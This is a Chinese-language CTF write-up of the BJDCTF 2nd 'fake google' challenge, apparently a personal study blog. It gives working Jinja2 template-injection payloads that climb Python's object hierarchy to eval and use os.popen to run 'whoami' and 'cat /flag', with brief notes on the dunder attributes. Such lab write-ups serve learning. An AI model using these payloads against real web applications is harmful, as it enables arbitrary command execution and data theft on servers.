【学习笔记2】buu [BJDCTF 2nd]fake google

 
【学习笔记2】buu [BJDCTF 2nd]fake google
 

点进去一看什么都没有,在搜索栏随便敲了个1上去,搜索一下

 

 
【学习笔记2】buu [BJDCTF 2nd]fake google
 

查看源码

<!--ssssssti & a little trick --> P3's girlfirend is : 1<br><hr>

这提示简直不要更明显就是SSTI

继续输入{{7*7}},发现给出了49的运算结果,怎么这么像我之前看到的flask模板注入呢。

执行我之前搜集的payload

{{().__class__.__bases__[0].__subclasses__()}} //查看可用模块

{{().__class__.base__.__subclasses__().index(warnings.catch_warnings)}}//本来想用这条命令直接查找危险函数 ,结果不让用只好手动数一数

{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}//找到危险函数后构造payload尝试执行命令,发现可以,构造最终答案

{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}//可以直接查到flag竟然没有过滤

配上相关函数的解释

__class__ 返回类型所属的对象

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块

关于flask模板注入的详情,可以去看我之前写的博客

https://www.jianshu.com/p/e341b7b7d4f3

后来看到有的wp上说这道题可以tplmap一把梭,但是不知道为什么我没有跑出来。